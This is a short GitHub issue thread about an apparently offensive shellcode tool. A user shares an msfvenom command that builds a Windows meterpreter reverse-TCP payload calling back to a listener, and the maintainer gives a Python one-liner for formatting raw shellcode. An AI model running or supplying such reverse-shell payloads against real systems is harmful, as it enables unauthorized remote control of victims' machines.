Skip to content
This repository has been archived by the owner on Mar 20, 2023. It is now read-only.

how i can generate shellcode in this format !! #1

Closed
ghost opened this issue Dec 5, 2016 · 2 comments
Closed

how i can generate shellcode in this format !! #1

ghost opened this issue Dec 5, 2016 · 2 comments

Comments

@ghost
Copy link

ghost commented Dec 5, 2016

first thanks for this great job , i'm generating shellcode using msfvenom like this:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=6667 -b '\x41\x41' -f hex

but i have no meterpreter session.. is my shellcode wrong or what!! .

@Mr-Un1k0d3r
Copy link
Owner

Hi the tool is not totally finished I'll add a feature that take raw shellcode file and convert it into the right format. "msfvenom -f raw" will generate raw format shellcode.

here is a python one liner that will generate the shellcode with the right format

import re
import sys
print "\x" + "\x".join(re.findall("..", open(sys.argv[1], "rb").encode("hex")))

@ghost
Copy link
Author

ghost commented Dec 6, 2016

ok man thanks for the replay;keep up i'm waiting for the final release of the tool good luck

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant